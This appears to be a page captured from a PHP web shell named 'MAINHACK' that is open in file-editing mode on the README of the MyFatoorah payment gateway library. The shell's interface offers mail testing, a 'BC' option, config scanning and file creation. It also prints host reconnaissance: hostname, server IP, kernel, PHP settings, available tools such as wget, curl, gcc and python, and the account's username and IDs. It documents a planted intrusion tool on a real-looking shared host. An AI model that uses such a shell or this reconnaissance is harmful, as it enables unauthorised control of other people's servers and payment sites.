[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: README.md
[](https://dev.azure.com/myfatoorahsc/Public-Repo/_git/Library/releases) [](https://www.gnu.org/licenses/gpl-3.0) [](https://scrutinizer-ci.com/g/my-fatoorah/library/build-status/main) [](https://scrutinizer-ci.com/code-intelligence) [](https://scrutinizer-ci.com/g/my-fatoorah/library/?branch=main) [](https://packagist.org/packages/myfatoorah/library) # MyFatoorah - Library MyFatoorah Payment Gateway PHP library. It is a PHP library to integrate MyFatoorah APIs with your website. ## Install Via Composer ``` bash composer require myfatoorah/library ``` ## Usage ### Payment Operations ``` php $config = [ apiKey => '', countryCode => 'KWT', isTest => false, ]; $mfObj = new MyFatoorahPayment($config); $postFields = [ 'NotificationOption' => 'Lnk', 'InvoiceValue' => '50', 'CustomerName' => 'fname lname', ]; $data = $mfObj->getInvoiceURL($postFields); $invoiceId = $data->InvoiceId; $paymentLink = $data->InvoiceURL; echo "Click on <a href='$paymentLink' target='_blank'>$paymentLink</a> to pay with invoiceID $invoiceId."; ``` ### Shipping Operations ``` php $config = [ apiKey => '', countryCode => 'KWT', isTest => false, ]; $mfObj = new MyFatoorahShipping($config); $data = $mfObj->getShippingCountries(); echo 'Country code: ' . $data[0]->CountryCode; echo 'Country name: ' . $data[0]->CountryName; ``` ### General Operations ``` php $phone = MyFatoorah::getPhone('+2 01234567890'); echo 'Phone code: ' . $phone[0]; echo 'Phone number: ' . $phone[1]; ``` ## Testing ``` bash phpunit ``` ## Credits - [MyFatoorah Plugin Team](https://github.com/my-fatoorah) - [Nermeen Shoman](https://github.com/nermeenshoman) - [Rasha Saeed](https://github.com/rasha-saeed) ## License The GPL-3.0-only License.
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285